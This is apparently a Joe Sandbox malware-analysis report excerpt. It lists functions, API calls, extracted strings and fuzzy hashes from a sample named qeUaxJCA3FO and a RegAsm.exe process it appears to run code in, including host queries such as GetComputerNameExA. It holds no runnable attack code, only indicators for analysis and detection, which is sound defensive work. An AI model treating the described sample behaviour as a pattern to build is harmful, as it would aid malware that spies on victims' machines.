API String ID: 3109751735-1866435925
Opcode ID: 958c8a6609a6facc7bcfe6ec7f026b9e2768a0bc3c569ead0d65ec1802367a78
Instruction ID: 1e6a91f3f875fbcfbe2022dc6769a2321a462d15466c8fa2225852d19626156a
Opcode Fuzzy Hash: 958c8a6609a6facc7bcfe6ec7f026b9e2768a0bc3c569ead0d65ec1802367a78
Instruction Fuzzy Hash: 221136B2D043056BEB50DF58D802FDAB3E8BF45310F04862AF95897242F775E854EBA2

Function 00F9F2E2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,00F9F293,00000000,00000001,010117F4,?,?,?,00F9F436,00000004,InitializeCriticalSectionEx,00FBBE28,InitializeCriticalSectionEx), ref: 00F9F2EF
GetLastError.KERNEL32(?,00F9F293,00000000,00000001,010117F4,?,?,?,00F9F436,00000004,InitializeCriticalSectionEx,00FBBE28,InitializeCriticalSectionEx,00000000,?,00F9F1ED), ref: 00F9F2F9
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,00F9E103), ref: 00F9F321

Strings

api-ms-, xrefs: 00F9F306

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e49c9b744fa938ddeeb71236db4d029829762d11df52caf75650c2d3ab3b9f0f
Instruction ID: 8d921f5885497e0a410263f51c976bfc50829f14b9c819e7142d212ec4e8ee43
Opcode Fuzzy Hash: e49c9b744fa938ddeeb71236db4d029829762d11df52caf75650c2d3ab3b9f0f
Instruction Fuzzy Hash: 8CE04870644208B7EF102B61DC46F993F549F04B90F540030F90CE44E1E7A5D859BD86

Function 00FABD96 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C488A511,00000010,00000000,?), ref: 00FABDF9

Part of subcall function 00FAF09E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FAEE47,?,00000000,-00000008), ref: 00FAF14A

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FAC054
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00FAC09C
GetLastError.KERNEL32 ref: 00FAC13F

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: cfa9674a9e6f4e835c29b8af1c4b10197535daaa95333cff7b5fcd24c281e2d6
Instruction ID: 51d471af6b062b1d5368bb25c13a69d1fc9e3df8b0f79db6058f9d0040e02257
Opcode Fuzzy Hash: cfa9674a9e6f4e835c29b8af1c4b10197535daaa95333cff7b5fcd24c281e2d6
Instruction Fuzzy Hash: 99D14AB5E042489FCB15CFA8C8809EDBBB5FF0A314F18812AE565EB342D734A941DB90

Function 00F9E2B1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00F9E378
___AdjustPointer.LIBCMT ref: 00F9E39B
___AdjustPointer.LIBCMT ref: 00F9E437

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4851a50e04e6abde082f322ec2d04853ab54c8a8490b9c2d336911177529cbcb
Instruction ID: b20020870c94560079c9b4da3797a606cc8236079ea7932c74c3ed66a186aea6
Opcode Fuzzy Hash: 4851a50e04e6abde082f322ec2d04853ab54c8a8490b9c2d336911177529cbcb
Instruction Fuzzy Hash: D051C172A00206AFFF29CF55D881FBA7BA4EF44724F14456DE945872A1E735EC80EB90

Function 00FAF4BA Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00FAF09E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FAEE47,?,00000000,-00000008), ref: 00FAF14A

GetLastError.KERNEL32 ref: 00FAF51E
__dosmaperr.LIBCMT ref: 00FAF525
GetLastError.KERNEL32(?,?,?,?), ref: 00FAF55F
__dosmaperr.LIBCMT ref: 00FAF566

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 15d8bf7b618d02ee11200fd7ec2f1fcc144d17ccbd7cae335ed513847f311bf5
Instruction ID: 9b52b0bc922c4fa5a84c0a4c0e6361d7fb8bb8472aacdb2fd334bdbc80c8dc07
Opcode Fuzzy Hash: 15d8bf7b618d02ee11200fd7ec2f1fcc144d17ccbd7cae335ed513847f311bf5
Instruction Fuzzy Hash: 5F21B3F1E00205AF9B20AFB5CC8096BB7A8EF063647148928F969CB111D734ED44ABA0

Function 00FA5DCA Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3709f8579ff3ce8d2a7f9e66dbcdc30f2804e5d9c017654f77626fbdb898aa27
Instruction ID: 849bcea439eadf01090873cf9a49b8672be1a1c9befbb8f88fa3f4a6bfc7956e
Opcode Fuzzy Hash: 3709f8579ff3ce8d2a7f9e66dbcdc30f2804e5d9c017654f77626fbdb898aa27
Instruction Fuzzy Hash: 9F21C0F2B04A05BFDB20AF64DCC096B77ADAF12B647104624F925DB141E735EE40ABA0

Function 00FB0450 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00FB0458

Part of subcall function 00FAF09E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FAEE47,?,00000000,-00000008), ref: 00FAF14A

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FB0490
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FB04B0

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 281c5b80bb346a91e7f245610be3ad46f4280d6f4c204d078ffff0ba49c7d826
Instruction ID: bec4c96e980200e634711c19ae35bdec46448fa8983f4d7ffc6ea40395a3ac15
Opcode Fuzzy Hash: 281c5b80bb346a91e7f245610be3ad46f4280d6f4c204d078ffff0ba49c7d826
Instruction Fuzzy Hash: 5911A1E6901219BF662177B69CC9CBFB95CDE8A3E47104124FA0691101FEB8CD0169B2

Function 00FB6686 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000010,00000000,00FC3A70,00000000,00000010,?,00FB4EA2,00000010,00000001,00000010,?,?,00FAC193,?,00000010,00000000), ref: 00FB669D
GetLastError.KERNEL32(?,00FB4EA2,00000010,00000001,00000010,?,?,00FAC193,?,00000010,00000000,?,?,?,00FAC71A,00000010), ref: 00FB66A9

Part of subcall function 00FB666F: CloseHandle.KERNEL32(FFFFFFFE,00FB66B9,?,00FB4EA2,00000010,00000001,00000010,?,?,00FAC193,?,00000010,00000000,?,?), ref: 00FB667F

___initconout.LIBCMT ref: 00FB66B9

Part of subcall function 00FB6631: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00FB6660,00FB4E8F,?,?,00FAC193,?,00000010,00000000,?), ref: 00FB6644

WriteConsoleW.KERNEL32(00000010,00000000,00FC3A70,00000000,?,00FB4EA2,00000010,00000001,00000010,?,?,00FAC193,?,00000010,00000000,?), ref: 00FB66CE

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: af26790eb47d6f011b831a7bca499d6d06a719884c67db7e85788be8ed8c4311
Instruction ID: fe753c3a4aff16cbeb290327d72b85af6651e9c1d7193ec562ccad9f8b138846
Opcode Fuzzy Hash: af26790eb47d6f011b831a7bca499d6d06a719884c67db7e85788be8ed8c4311
Instruction Fuzzy Hash: 78F09836500228BBCF622F96DC499D93F26FB587A1F144520FA19DA130D6369860BF91

Function 00FB9190 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 390COMMON

Download Yara Rule

APIs

Part of subcall function 00F94E90: std::_Lockit::_Lockit.LIBCPMT ref: 00F94E9D
Part of subcall function 00F94E90: std::_Lockit::_Lockit.LIBCPMT ref: 00F94EB7
Part of subcall function 00F94E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00F94ED8
Part of subcall function 00F94E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00F94F04

OffsetRect.USER32(00000000,00000000,00000000), ref: 00FB931F

Part of subcall function 00F94E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00F94F39

Strings

Zatlat, xrefs: 00FB91E0
0, xrefs: 00FB93C4

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Lockitstd::_$Lockit::~_$Lockit::_$OffsetRect
String ID: 0$Zatlat
API String ID: 2708111867-1547964091
Opcode ID: 2726f4c26feef93adad07dee9dd7c7701a7f90a662bfcd9f3014d14f71fab4e4
Instruction ID: 6642170bce584bb5379c0b6eb8a37c6eb4642933d141e54f2ee5f0b70fe9cbd9
Opcode Fuzzy Hash: 2726f4c26feef93adad07dee9dd7c7701a7f90a662bfcd9f3014d14f71fab4e4
Instruction Fuzzy Hash: 94E1BD706083409FE714DF24C895B6ABBE1BFC9308F18496CF5898B392DB75E845DB82

Function 00F92160 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F922CD

Part of subcall function 00F9BC00: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F9BB23,?,?,?,?,00F9BB23,?,00FC40FC,?), ref: 00F9BC60

Strings

ios_base::badbit set, xrefs: 00F92267, 00F92292, 00F922B0
ios_base::failbit set, xrefs: 00F9217D

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 955c686176c8b0f86e8d622b459b8a68b62f8f04bc900e23bd3deeac130881bc
Instruction ID: d28405a149a7a36a35a7ade7135b7d1e14321ecc39d134fcca056a2dad03e1f8
Opcode Fuzzy Hash: 955c686176c8b0f86e8d622b459b8a68b62f8f04bc900e23bd3deeac130881bc
Instruction Fuzzy Hash: E9410472904304AFEB04DF28CC41EAEB7E8BF89310F14861EF95587251E774E945DB92

Function 00F9DFA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00F9DFDF
__IsNonwritableInCurrentImage.LIBCMT ref: 00F9E093

Strings

csm, xrefs: 00F9E07D

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: c13c3fb1257373cb06ac920d1bc647d7aea9ca8e0c6519b9ebe6f17045601cb9
Instruction ID: 72b19e0d2e058cae23026ed0bffeb506470bdf5762e8eb5b5c6de64372a17729
Opcode Fuzzy Hash: c13c3fb1257373cb06ac920d1bc647d7aea9ca8e0c6519b9ebe6f17045601cb9
Instruction Fuzzy Hash: 6A41B130E00209DBEF10DF68CC81A9EBBB5BF44324F148155E8159B3A2D776E955EB91

Function 00F9E8AD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00F9E8D2

Strings

RCC, xrefs: 00F9E8EC
MOC, xrefs: 00F9E8E4

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ad4f8707d14f69d704fe9646e998b1dd0091eeeaae70592984cd7c7a5879bc87
Instruction ID: 6dea8771b2d75dd5fc7c1061502f6e9f58cbbca4f804e05929ef7823c3c00f0b
Opcode Fuzzy Hash: ad4f8707d14f69d704fe9646e998b1dd0091eeeaae70592984cd7c7a5879bc87
Instruction Fuzzy Hash: EB414871D00209AFEF16DF98CD81AAEBBB5BF48310F148099F908A7222D3359A50EB51

Function 00F919B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F919B5
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F919FA

Part of subcall function 00F99095: _Yarn.LIBCPMT ref: 00F990B4
Part of subcall function 00F99095: _Yarn.LIBCPMT ref: 00F990D8

Strings

bad locale name, xrefs: 00F91A08

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ad3af30399574d703d322da7dde10cb0e45cea7a9dfe102c615db52ea75c00f6
Instruction ID: ba04cffa07a9d39e1ba335ee2856f7ce9a9a8fca23ce9cbd5afe61de12ca4899
Opcode Fuzzy Hash: ad3af30399574d703d322da7dde10cb0e45cea7a9dfe102c615db52ea75c00f6
Instruction Fuzzy Hash: F6F01D61515B408EE370DF798805747BAE0AF25710F044A1DD4CAC7A51E379E508CBA6

Analysis Process: RegAsm.exePID: 7560, Parent PID: 7528COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.7%
Total number of Nodes:	296
Total number of Limit Nodes:	17

Executed Functions

Function 0042E850 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E89A
GetSystemMetrics.USER32 ref: 0042E8AD
DeleteObject.GDI32 ref: 0042E917
SelectObject.GDI32 ref: 0042E969
SelectObject.GDI32 ref: 0042E9DC
DeleteObject.GDI32 ref: 0042EA16

Strings

kB, xrefs: 0042EAF5
!B, xrefs: 0042EA7C
, xrefs: 0042E9AB

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: $!B$kB
API String ID: 1449868515-3557054983
Opcode ID: bd39a01542d00d1a83a77da0cb9eff0b69358de462bca32c710ca54e28559403
Instruction ID: 7b228ac64cae03dbf5c3084e89f25bc7f722e4dabb8f8aadbcccb54589869964
Opcode Fuzzy Hash: bd39a01542d00d1a83a77da0cb9eff0b69358de462bca32c710ca54e28559403
Instruction Fuzzy Hash: 0AA17EB05093809FE760EF69D54978ABBF0BB85748F41892DE4D88B350D7B89548CF8B

Function 00417742 Relevance: 9.3, Strings: 7, Instructions: 567
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;~A, xrefs: 00417E35
s@LE, xrefs: 004179D8, 00417B29, 00417AC8, 00417978
GEFN, xrefs: 00417A29
LH, xrefs: 004177F1
_\[T, xrefs: 00417A41
BwA, xrefs: 00417736
oASS, xrefs: 00417A31

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ;~A$BwA$GEFN$LH$_\[T$oASS$s@LE
API String ID: 0-916928889
Opcode ID: 79232cd0066df9e2e129c86352673664cac949339768f666b437c6eb5fbec4d8
Instruction ID: 40f2763a7dd482196709f3d8a6d99116c5087e190a1fb18e28f7f65fb865f72a
Opcode Fuzzy Hash: 79232cd0066df9e2e129c86352673664cac949339768f666b437c6eb5fbec4d8
Instruction Fuzzy Hash: 530279B054C3908BD324CF14D89076BBBF1EF86398F14891DE8D99B3A1D7789985CB86

Function 0040A2D0 Relevance: 9.2, Strings: 7, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`{, xrefs: 0040A78A
:, xrefs: 0040A674
9t, xrefs: 0040A792
E%, xrefs: 0040A7A2
Ih, xrefs: 0040A79A
0, xrefs: 0040A333
L, xrefs: 0040A567

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$9t$:$E%$Ih$L$`{
API String ID: 0-3077212884
Opcode ID: e50989ff2db25c109be629db5ff1ba799cb44dc35e1273fb72090efa36a27a9f
Instruction ID: aeeb7b59046e96cab70ba4daa5842abb78eeeec13de71bf8ef1686692547ab2d
Opcode Fuzzy Hash: e50989ff2db25c109be629db5ff1ba799cb44dc35e1273fb72090efa36a27a9f
Instruction Fuzzy Hash: 280233B0608381AFD714CF14C590B6BBBE2ABC5708F449D2DE4D98B292D778D949CB47

Function 00427964 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 580
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00427A58
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 00427A92
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 00427B72

Strings

L-, xrefs: 00427B88

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: L-
API String ID: 2243422189-1489653379
Opcode ID: 800cc9087ea37f5dc664a1c6be6314c24e1182209b8a3adbe97bac99e018499e
Instruction ID: 5ab1a77e48bd28dff27f93b1677b56afa0827e1326ac238dade5fb95bf83114d
Opcode Fuzzy Hash: 800cc9087ea37f5dc664a1c6be6314c24e1182209b8a3adbe97bac99e018499e
Instruction Fuzzy Hash: 76126B742047818FE325CF29C4A0B22BBF1FF5A304F68899DD4D68B792D739A845CB94

Function 00416448 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)-1&, xrefs: 00416518
h&.&, xrefs: 0041650A
-l, xrefs: 0041651F

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: )-1&$-l$h&.&
API String ID: 0-153851849
Opcode ID: 9a131404707bbd6623fda16981e6e1fedc1f27b98773adb8fc8eb41153bc00c1
Instruction ID: f306be605808b356352922595e3cb303dfef2761a962b4518dfd9a5153cadc25
Opcode Fuzzy Hash: 9a131404707bbd6623fda16981e6e1fedc1f27b98773adb8fc8eb41153bc00c1
Instruction Fuzzy Hash: 06028EB5600B418FD724CF29D891A67B7E2FF9A304F15892ED49A87B92D738F841CB44

Function 004209C0 Relevance: 4.4, Strings: 3, Instructions: 688COMMON

Download Yara Rule

Strings

789:, xrefs: 00420FD8
789:, xrefs: 00420E78
sdtb, xrefs: 004214C9

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:$789:$sdtb
API String ID: 0-699493635
Opcode ID: 0f53a2138df59d4233c10459ca537407040bed3b95f9fb8b4f3be61caae669d3
Instruction ID: faa9cc1a13dda9aad5d19a6c0d4ac18bde3b7ad8c7513efd0213895e636c4a11
Opcode Fuzzy Hash: 0f53a2138df59d4233c10459ca537407040bed3b95f9fb8b4f3be61caae669d3
Instruction Fuzzy Hash: FB42DCB1608340CFE324CF14E89176BBBE2FB95744F54492EE5898B3A1D738D945CB8A

Function 00416DB9 Relevance: 4.2, Strings: 3, Instructions: 402COMMON

Download Yara Rule

Strings

!=;e, xrefs: 00416DCB
='8 , xrefs: 00416DD2
3>?0, xrefs: 00416DD9

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !=;e$3>?0$='8
API String ID: 0-961702978
Opcode ID: 41cb07952805aa8d735d97c0da0fae701ecc07072aacca66224a076cc01e0a2f
Instruction ID: b92c2bbe53ffcb88b9997dfa8412634529a92ddc6bd04fbb870b2db9fcb46c7a
Opcode Fuzzy Hash: 41cb07952805aa8d735d97c0da0fae701ecc07072aacca66224a076cc01e0a2f
Instruction Fuzzy Hash: 29C1BF75204B008FC725CF24D881A63BBF2FF4A314F04896DE89A8B762E739E855CB55

Function 00428008 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

yKg, xrefs: 004285A6

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: yKg
API String ID: 0-531747830
Opcode ID: 96c9d703957de0864733023c5b9a8e3954007aedc508b62c677ab111a5b02af4
Instruction ID: e0d38eb94a61a4fde4d72ab33b389e369aff7959b9178c960219dd6971f88e14
Opcode Fuzzy Hash: 96c9d703957de0864733023c5b9a8e3954007aedc508b62c677ab111a5b02af4
Instruction Fuzzy Hash: B8F1A2702056918FD729CF29C4A0726FBF2BF56304F68859EC4DA8B792C779A805CB94

